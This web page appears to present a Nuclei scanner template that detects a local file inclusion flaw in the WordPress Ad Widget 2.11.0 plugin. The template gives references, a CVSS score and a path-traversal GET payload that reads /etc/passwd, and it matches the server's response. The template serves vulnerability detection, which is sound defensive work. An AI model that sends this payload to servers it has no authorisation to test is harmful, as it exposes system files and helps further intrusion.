WordPress Ad Widget 2.11.0 - Local File Inclusion

ID: ad-widget-lfi

Severity: high

Author: 0x_Akoko

Tags: wordpress,wp-plugin,lfi,wp,adWidget,wpscan

Description

WordPress Ad Widget 2.11.0 is vulnerable to local file inclusion. Exploiting this issue may allow an attacker to obtain sensitive information that could aid in further attacks.

YAML Source

id: ad-widget-lfi

info:
  name: WordPress Ad Widget 2.11.0 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
    WordPress Ad Widget 2.11.0 is vulnerable to local file inclusion. Exploiting this issue may allow an attacker to obtain sensitive information that could aid in further attacks.
  reference:
    - https://cxsecurity.com/issue/WLB-2017100084
    - https://plugins.trac.wordpress.org/changeset/1628751/ad-widget
    - https://wpscan.com/vulnerability/caca21fe-56bf-4d4c-afc8-4a218e52f0a2
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: wordpress,wp-plugin,lfi,wp,adWidget,wpscan

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/ad-widget/views/modal/?step=../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502204da5bcc20b042b510fecd8c64c74e60fe2e6dba54065c4fbfd0997a9b509e663022100e7ff351defce68b347f6508a28e5919bcdc5dc2abb9e4bd24aeefbeb340a3077:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/wordpress/ad-widget-lfi.yaml"

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